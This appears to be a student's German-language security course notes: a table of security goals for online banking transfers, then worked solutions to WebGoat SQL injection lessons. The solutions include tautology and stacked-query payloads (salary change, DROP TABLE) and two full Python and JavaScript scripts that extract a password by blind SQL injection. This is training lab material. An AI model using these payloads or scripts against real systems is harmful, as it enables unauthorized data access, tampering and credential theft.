# 2.1 ## Tabelle | Schritt | Sicheheitsziele | Assets | Parteien | | ------------------------------- | --------------------------------------------- | ----------------------------------------------------------------- | ------------------------- | | Formular-basierte Webseite | Verfügbarkeit | Webseite und Webserver | Bank und Kunde | | Eingabe der Überweisungsdetails | Vertraulichkeit und Integrität | Überweisungsinformationen (Empfänger, IBAN, Betrag) | Kunde, Bank und Empfänger | | Anforderung einer TAN | Vertraulichkeit und Integrität | TAN-Liste, Index und TAN-Verfahren | Kunde und Bank | | Eingabe und Bestätigung der TAN | Vertraulichkeit, Integrität und Authentizität | Eingegebene TAN und Überweisungsdetails | Kunde, Bank und Empfänger | | Anzeige der Quittung | Vertraulichkeit und Integrität | Quittungsinformationen (z.B. Überweisungsdetails, Datum, Uhrzeit) | Kunde, Bank und Empfänger | # 2.2 ## Intro ### 1 SELECT department FROM employees WHERE first_name='Bob' - SELECT: Wählt Spalte aus - FROM: Wählt Tabelle aus - WHERE: Anweisung zum suchen ### 2 UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett' - UPDATE: Updated exestierende Daten - SET: Wählt Spalte aus - WHERE: Anweisung zum suchen - AND: Und für die Abfragen der WHERE Anweisung ### 3 ALTER TABLE employees ADD phone varchar(20); - ALTER: Verändert die Struktur einer Datenbank - TABLE: Wählt Tabelle aus, die verändert werden soll - ADD: Fügt eine Spalte hinzu ### 4 GRANT SELECT ON grant_rights TO unauthorized_user; - GRANT: Gibt einem Benutzer Rechte - SELECT: Wählt Spalte aus - ON: Wählt Rechte aus - TO: Wählt Benutzer aus ### 5 SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1' = '1 - Wird zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1' - '1' = '1' ist immer wahr - '1 wird durch die query geschlossen - Wird praktisch zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE - Ist immer wahr ### 6 - Login_Count: 1 - User_Id: 1 OR 1=1 - Wird zu: SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1 - das OR true sorgt dafür, dass es true ist ### 7 - Employee Name: Smith' OR 1=1 -- - Authentication TAN: (egal) - Smith' beendet ' ' - OR 1=1 ist true - "--" ignoriert den rest der Zeile (Kommentar) ### 8 - Employee Name: Smith'; UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'-- - Authentication TAN: (egal) - Smith' beendet ' ' - ; beendet aktuelle query - 'UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'' verändert salary - "--" ignoriert den Rest ### 9 Smith'; DROP TABLE access_log; -- - Smith' beendet ' ' - ; beendet aktuelle query - DROP TABLE access_log; löscht die access_log tabelle - "--" ignoriert den Rest ## Advanced ### 1 '; SELECT * FROM user_system_data;-- - wird zu SELECT * FROM user_data WHERE last_name = ''; SELECT * FROM user_system_data;--' - '; beendet aktuelle query - SELECT * FROM user_system_data; nimmt alles aus user_system_data; - "--" ignoriert den Rest ### 2 ``` python import json import requests def sql_injection_advance_5(): alphabet_index = 0 alphabet = 'abcdefghijklmnopqrstuvwxyz' password_index = 0 password = '' headers = { 'Cookie': COOKIE, } while True: payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index]) data = { 'username_reg': payload, 'email_reg': 'a@a', 'password_reg': 'a', 'confirm_password_reg': 'a' } r = requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data) try: response = json.loads(r.text) except: print("Wrong JSESSIONID, find it by looking at your requests once logged in.") return if "already exists please try to register with a different username" not in response['feedback']: alphabet_index += 1 if alphabet_index > len(alphabet) - 1: return else: password += alphabet[alphabet_index] print(password) alphabet_index = 0 password_index += 1 sql_injection_advance_5() ``` ```js /** * Bruteforce tool to solve challenge 5 of WebGoat's SQL injection advanced series * http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4 * To make it work, you will need to install needle with npm * Then connect to the webgoat platform, get the cookie and replace COOKIE constant value * You're good to go, just execute the script */ const needle = require('needle'); const URL = 'http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge'; const COOKIE = '8dIM5gDa55wQ7bXpwjA-IuipMTbpb5kehitqpJH-'; const CHARACTERS = 'abcdefghijklmnopqrstuvwxyz'.split(''); const passwordChars = []; const data = { email_reg: 'test@test.com', password_reg: 'test', confirm_password_reg: 'test' }; /** * Sends a challenge for a given password length * Returns true if the length is correct, false otherwise * @param {Number} length * @returns {Promise} */ async function challengeOneLength (length) { data.username_reg = `tom' and length(password) = '${length}`; const { body } = await needle('put', URL, data, { headers: { cookie: COOKIE } }); return body.feedback.includes('already exists'); } /** * Bruteforces the password length * Returns the length if found, false otherwise * Restricts to a length of 100, just in case... * @returns {Promise} */ async function findPasswordLength () { for (let n = 1; n <= 100; n++) { const length = await challengeOneLength(n); if (length) { return n; } } return false; } /** * Sends a challenge for a given char and a given position * Returns true if the given char is at the given position, false otherwise * @param {Number} pos * @param {String} char * @returns {Promise} */ async function challengeOneCharAt (pos, char) { data.username_reg = `tom' and substring(password, ${pos}, 1) = '${char}`; const { body } = await needle('put', URL, data, { headers: { cookie: COOKIE } }); return body.feedback.includes('already exists'); } /** * Bruteforces every character, at a given position * Returns the char if there is a match, false otherwise * @param {Number} pos * @returns {Promise} */ async function findCharacterAt (pos) { for (const char of CHARACTERS) { const found = await challengeOneCharAt(pos, char); if (found) { return char; } } return false; } /** * Bruteforces the password * Look for the length first, then characters, one at a time */ (async function findPassword () { const passLength = await findPasswordLength(); if (passLength === false) { return console.log(`pass length not found, something went wrong`); } console.log(`found pass length: ${passLength}`); for (let n = 1; n <= passLength; n++) { const char = await findCharacterAt(n); console.log(`found char ${n}: ${char}`); passwordChars.push(char); } console.log(`found pass: ${passwordChars.join('')}`); process.exit(); })(); ```